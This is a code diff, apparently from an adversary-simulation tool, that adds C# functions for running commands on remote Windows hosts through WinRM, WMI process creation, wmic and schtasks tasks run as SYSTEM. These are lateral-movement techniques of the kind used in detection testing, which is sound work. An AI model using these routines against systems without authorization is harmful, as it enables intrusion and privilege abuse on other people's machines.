logger.TimestampInfo(String.Format("Connecting to http://{0}:5985/wsman", target)); var connection = new WSManConnectionInfo(connectTo); var runspace = RunspaceFactory.CreateRunspace(connection); runspace.Open(); using (var powershell = PowerShell.Create()) { powershell.Runspace = runspace; - powershell.AddScript(command); + powershell.AddScript(playbook_task.command); var results = powershell.Invoke(); runspace.Close(); - DateTime dtime = DateTime.Now; - logger.TimestampInfo(String.Format("Started a process using WinRM on {0}", computer.ComputerName)); - //Console.WriteLine("{0}[{1}] Successfully created a process using WinRM on {2}", "".PadLeft(4), dtime.ToString("MM/dd/yyyy HH:mm:ss"), computer.Fqdn); + logger.TimestampInfo(String.Format("Successfully executed {0} using WinRM on {1}", playbook_task.command, computer.ComputerName)); /* Console.WriteLine("Return command "); @@ -180,213 +354,155 @@ public static void WinRMCodeExecution(Computer computer, string command, Lib.Log } catch (Exception ex) { - DateTime dtime = DateTime.Now; if (ex.Message.Contains("Access is denied")) { logger.TimestampInfo(String.Format("Failed to start a process using WinRM on {0}. (Access Denied)", computer.Fqdn)); - //Console.WriteLine("{0}[{1}] Failed to execute execute a process using WMI on {2}. (Access Denied)", "".PadLeft(4), dtime.ToString("MM/dd/yyyy HH:mm:ss"), computer.Fqdn); + throw new Exception(); } else if (ex.GetType().ToString().Contains("PSRemotingTransportException")) { - logger.TimestampInfo(String.Format("Failed to start a process using WinRM on {0}. (Port Closed)", computer.Fqdn)); - //Console.WriteLine("{0}[{1}] Failed to execute execute a process using WMI on {2}. (Port Closed)", "".PadLeft(4), dtime.ToString("MM/dd/yyyy HH:mm:ss"), computer.Fqdn); + logger.TimestampInfo(String.Format("Failed to start a process using WinRM on {0}. (Connection Issues)", computer.Fqdn)); + throw new Exception(); } else { logger.TimestampInfo(String.Format("Failed to start a process using WinRM on {0}. {1}", computer.Fqdn, ex.GetType())); - //Console.WriteLine("{0}[{1}] Failed to execute a process using WinRM on {2}. {3}", "".PadLeft(4), dtime.ToString("MM/dd/yyyy HH:mm:ss"), computer.Fqdn, ex.GetType()); + throw new Exception(); } - } - - } - public static void WmiCodeExecution(Computer computer, string command, Lib.Logger logger) + public static void WmiRemoteCodeExecutionNET(Computer computer, PlaybookTask playbook_task, Logger logger) { + string target = ""; + if (!computer.Fqdn.Equals("")) target = computer.Fqdn; + else if (!computer.ComputerName.Equals("")) target = computer.ComputerName; + else target = computer.IPv4; try { ConnectionOptions connectoptions = new ConnectionOptions(); - var processToRun = new[] { command }; - var wmiScope = new ManagementScope(String.Format("\\\\{0}\\root\\cimv2", computer.Fqdn), connectoptions); + var processToRun = new[] { playbook_task.command }; + var wmiScope = new ManagementScope(String.Format("\\\\{0}\\root\\cimv2", target), connectoptions); var wmiProcess = new ManagementClass(wmiScope, new ManagementPath("Win32_Process"), new ObjectGetOptions()); wmiProcess.InvokeMethod("Create", processToRun); - //DateTime dtime = DateTime.Now; - logger.TimestampInfo(String.Format("Started a process using WMI Win32_Create on {0}", computer.ComputerName)); - //Console.WriteLine("{0}[{1}] Successfully created a process using WMI on {2}", "".PadLeft(4), dtime.ToString("MM/dd/yyyy HH:mm:ss"), computer.Fqdn); - + logger.TimestampInfo(String.Format("Successfully executed {0} using WMI's Win32_Process on {1}", playbook_task.command, target)); } - catch(Exception ex) + catch (Exception ex) { //DateTime dtime = DateTime.Now; if (ex.Message.Contains("ACCESSDENIED")) { - logger.TimestampInfo(String.Format("Failed to start a process using WMI Win32_Create on {0}. (Access Denied)", computer.ComputerName)); - //Console.WriteLine("{0}[{1}] Failed to execute execute a process using WMI on {2}. (Access Denied)", "".PadLeft(4), dtime.ToString("MM/dd/yyyy HH:mm:ss"), computer.Fqdn); + logger.TimestampInfo(String.Format("Failed to start a process using WMI Win32_Create on {0}. (Access Denied)", target)); } else { - logger.TimestampInfo(String.Format("Failed to start a process using WMI Win32_Create on {0}. {1}", computer.ComputerName, ex.GetType())); - //Console.WriteLine("{0}[{1}] Failed to execute a process using WMI on {2}. {3}", "".PadLeft(4), dtime.ToString("MM/dd/yyyy HH:mm:ss"), computer.Fqdn, ex.GetType()); + logger.TimestampInfo(String.Format("Failed to start a process using WMI Win32_Create on {0}. {1}", target, ex.GetType())); } } + } + public static void WmiRemoteCodeExecutionCmdline(Computer computer, PlaybookTask playbook_task, Logger logger) + { + string target = ""; + if (!computer.Fqdn.Equals("")) target = computer.Fqdn; + else if (!computer.ComputerName.Equals("")) target = computer.ComputerName; + else target = computer.IPv4; + string startProcess = string.Format(@"/node:""{0}"" process call create ""{1}"" ", target, playbook_task.command); - } + string results = ExecutionHelper.StartProcessNET("wmic.exe", startProcess, logger); + if (results.Contains("Access is denied")) + { + throw new Exception(); + } - public static void CreateRemoteScheduledTask(Computer computer, string command, bool cleanup) + } + private static string DateTimetoUTC(DateTime dateParam) { - try - { - /* - ConnectionOptions connectoptions = new ConnectionOptions(); - var wmiScope = new ManagementScope(String.Format("\\\\{0}\\root\\cimv2", computer.Fqdn), connectoptions); - wmiScope.Connect(); + string buffer = dateParam.ToString("********HHmmss.ffffff"); + TimeSpan tickOffset = TimeZone.CurrentTimeZone.GetUtcOffset(dateParam); + buffer += (tickOffset.Ticks >= 0) ? '+' : '-'; + buffer += (Math.Abs(tickOffset.Ticks) / System.TimeSpan.TicksPerMinute).ToString("d3"); + return buffer; + } - //Getting time - string serverTime = null; - SelectQuery timeQuery = new SelectQuery(@"select LocalDateTime from Win32_OperatingSystem"); - ManagementObjectSearcher timeQuerySearcher = new ManagementObjectSearcher(timeQuery); - foreach (ManagementObject mo in timeQuerySearcher.Get()) - { - serverTime = mo["LocalDateTime"].ToString(); - } + public static void CreateRemoteScheduledTaskWmi(Computer computer, PlaybookTask playbook_task, Logger logger) + { - //Adding 2 minutes to the time - Console.WriteLine("Got Remote computer time {0}", serverTime); + string target = ""; + if (!computer.Fqdn.Equals("")) target = computer.Fqdn; + else if (!computer.ComputerName.Equals("")) target = computer.ComputerName; + else target = computer.IPv4; - //running command - object[] cmdParams = { command, serverTime, false, null, null, true, 0 }; - ManagementClass serverCommand = new ManagementClass(wmiScope, new ManagementPath("Win32_ScheduledJob"), null); - serverCommand.InvokeMethod("Create", cmdParams); - DateTime dtime = DateTime.Now; - Console.WriteLine("{0}[{1}] Successfully created a process using WMI on {2}", "".PadLeft(4), dtime.ToString("MM/dd/yyyy HH:mm:ss"), computer.Fqdn); - */ - - /* - string strJobId = ""; + try + { ConnectionOptions connectoptions = new ConnectionOptions(); - connectoptions.Impersonation = ImpersonationLevel.Impersonate; - connectoptions.Authentication = AuthenticationLevel.PacketPrivacy; connectoptions.EnablePrivileges = true; - Console.WriteLine(computer.Fqdn); - - var wmiScope = new ManagementScope(String.Format("\\\\{0}\\root\\cimv2", computer.Fqdn), connectoptions); - - //ManagementScope manScope = new ManagementScope(computer.Fqdn, connOptions); - - - wmiScope.Connect(); - ObjectGetOptions objectGetOptions = new ObjectGetOptions(); - ManagementPath managementPath = new ManagementPath("Win32_ScheduledJob"); - ManagementClass processClass = new ManagementClass(wmiScope, managementPath, objectGetOptions); - var processToRun = new[] { command }; - */ - /* - ManagementBaseObject inParams = processClass.GetMethodParameters("Create"); - //inParams["Name"] = "TESTER"; - inParams["Owner"] = "Tester"; - inParams["Command"] = "ipconfig.exe"; - //inParams["StartTime"] = "********171000.000000-300"; - */ + //var processToRun = new[] { playbook_task.command }; + object[] cmdParams = { playbook_task.command, DateTimetoUTC(DateTime.Now.AddMinutes(1)), false, null, null, true, 0 }; + var wmiScope = new ManagementScope(String.Format("\\\\{0}\\root\\cimv2", target), connectoptions); + wmiScope.Connect(); + Console.WriteLine("Connected"); - /* - - - ManagementBaseObject inParams = processClass.GetMethodParameters("Create"); - inParams["Caption"] = "Suspicious ScheduledTask"; - inParams["Command"] = "iponfig.exe"; - //inParams["TaskName"] = "TESTER"; - string StartTime = DateTime.Now.AddMinutes(1).ToUniversalTime().ToString(); - inParams["StartTime"] = "********171000.000000-300"; - - //Console.WriteLine("got this far #1"); - var wmiProcess = new ManagementClass(wmiScope, new ManagementPath("Win32_ScheduledJob"), new ObjectGetOptions()); - //Console.WriteLine("got this far #2"); - ManagementBaseObject outParams = processClass.InvokeMethod("Create", inParams, null); - //Console.WriteLine("got this far #3"); - //wmiProcess.InvokeMethod("Create", processToRun); - - - - strJobId = outParams["JobId"].ToString(); - Console.WriteLine("Out parameters:"); - Console.WriteLine("JobId: " + outParams["JobId"]); - - Console.WriteLine("ReturnValue: " + outParams["ReturnValue"]); - + var wmiScheduledJob = new ManagementClass(wmiScope, new ManagementPath("Win32_ScheduledJob"), new ObjectGetOptions()); - DateTime dtime = DateTime.Now; - Console.WriteLine("{0}[{1}] Successfully created a scheduled Task using WMI on {2}", "".PadLeft(4), dtime.ToString("MM/dd/yyyy HH:mm:ss"), computer.Fqdn); - */ - - /* - string strJobId; - int DaysOfMonth = 0; - int DaysOfWeek = 0; - ManagementClass classInstance = new ManagementClass(String.Format("\\\\{0}\\root\\cimv2", computer.Fqdn), "Win32_ScheduledJob", null); - ManagementBaseObject inParams = classInstance.GetMethodParameters("Create"); - inParams["Name"] = "TestTestTest"; - inParams["Command"] = "Notepad.exe"; - inParams["InteractWithDesktop"] = false; - inParams["RunRepeatedly"] = true; - if (DaysOfMonth > 0) - inParams["DaysOfMonth"] = 0; - if (DaysOfWeek > 0) - inParams["DaysOfWeek"] = 0; + ManagementBaseObject inParams = wmiScheduledJob.GetMethodParameters("Create"); + string StartTime = DateTimetoUTC(DateTime.Now.AddMinutes(1)); + Console.WriteLine(StartTime); inParams["StartTime"] = "20101129105409.000000+330"; - ManagementBaseObject outParams = classInstance.InvokeMethod("Create", inParams, null); - - strJobId = outParams["JobId"].ToString(); - Console.WriteLine("Out parameters:"); + inParams["Command"] = "notepad.exe"; + //inParams["InteractWithDesktop"] = true; + //inParams["RunRepeatedly"] = true; + //inParams["Caption"] = "Suspicious ScheduledTask"; + ManagementBaseObject outParams = wmiScheduledJob.InvokeMethod("Create", inParams, null); Console.WriteLine("JobId: " + outParams["JobId"]); - - Console.WriteLine("ReturnValue: " + outParams["ReturnValue"]); - */ - - /* - ConnectionOptions connection = new ConnectionOptions(); - var wmiScope = new ManagementScope(string.Format(@"\\{0}\root\CIMV2", computer.Fqdn), connection); - wmiScope.Connect(); - ObjectGetOptions objectGetOptions = new ObjectGetOptions(); - ManagementPath managementPath = new ManagementPath(path: "Win32_ScheduledJob"); - - DateTime currentTime = DateTime.Now; - - ManagementClass classInstance = new ManagementClass(scope: wmiScope, path: managementPath, options: objectGetOptions); - ManagementBaseObject inParams = classInstance.GetMethodParameters("Create"); - //inParams["Name"] = "TestTest"; - inParams["Command"] = "cmd.exe"; - //inParams["StartTime"] = string.Format("********{0}{1}{2}.000000+{3}", currentTime.Hour, currentTime.Minute, currentTime.Second, 240); - inParams["InteractWithDesktop"] = true; - - ManagementBaseObject outParams = classInstance.InvokeMethod("Create", inParams, null); - Console.WriteLine("JobId: " + outParams["jobId"]); - Console.WriteLine("ReturnValue: " + outParams["returnValue"]); Console.ReadKey(); - */ + //wmiScheduledJob.InvokeMethod("Create", cmdParams); + logger.TimestampInfo(String.Format("Successfully created a scheduled task remotely {0} using WMI's Win32_ScheduledJob on {1}", playbook_task.command, target)); } catch (Exception ex) { - DateTime dtime = DateTime.Now; - if (ex.Message.Contains("ACCESSDENIED")) Console.WriteLine("{0}[{1}] Failed to execute execute a process using WMI on {2}. (Access Denied)", "".PadLeft(4), dtime.ToString("MM/dd/yyyy HH:mm:ss"), computer.Fqdn); - else Console.WriteLine("{0}[{1}] Failed to execute a process using WMI on {2}. {3}", "".PadLeft(4), dtime.ToString("MM/dd/yyyy HH:mm:ss"), computer.Fqdn, ex.GetType()); - Console.WriteLine(ex); + //DateTime dtime = DateTime.Now; + if (ex.Message.Contains("ACCESSDENIED")) + { + logger.TimestampInfo(String.Format("Failed to start a process using WMI Win32_Create on {0}. (Access Denied)", target)); + } + else + { + logger.TimestampInfo(String.Format("Failed to start a process using WMI Win32_Create on {0}. {1}", target, ex.GetType())); + } } - - } - - + public static void CreateRemoteScheduledTaskCmdline(Computer computer, PlaybookTask playbook_task, Logger logger) + { + string target = ""; + if (!computer.Fqdn.Equals("")) target = computer.Fqdn; + else if (!computer.ComputerName.Equals("")) target = computer.ComputerName; + else target = computer.IPv4; + + string createTask = string.Format(@"/create /s {0} /sc ONCE /st 13:30 /tn ""{1}"" /tr {2} /rl HIGHEST /ru SYSTEM", target, playbook_task.taskName, playbook_task.taskPath); + string runTask = string.Format(@"/run /s {0} /tn ""{1}""", target, playbook_task.taskName); ; + string deleteTask = string.Format(@"/delete /s {0} /tn ""{1}"" /F", target, playbook_task.taskName); + string results = ExecutionHelper.StartProcessNET("schtasks.exe", createTask, logger); + if (!results.Contains("Access is denied")) + { + ExecutionHelper.StartProcessNET("schtasks.exe", runTask, logger); + if (playbook_task.cleanup) ExecutionHelper.StartProcessNET("schtasks.exe", deleteTask, logger); + } + else + { + throw new Exception(); + } + + } } }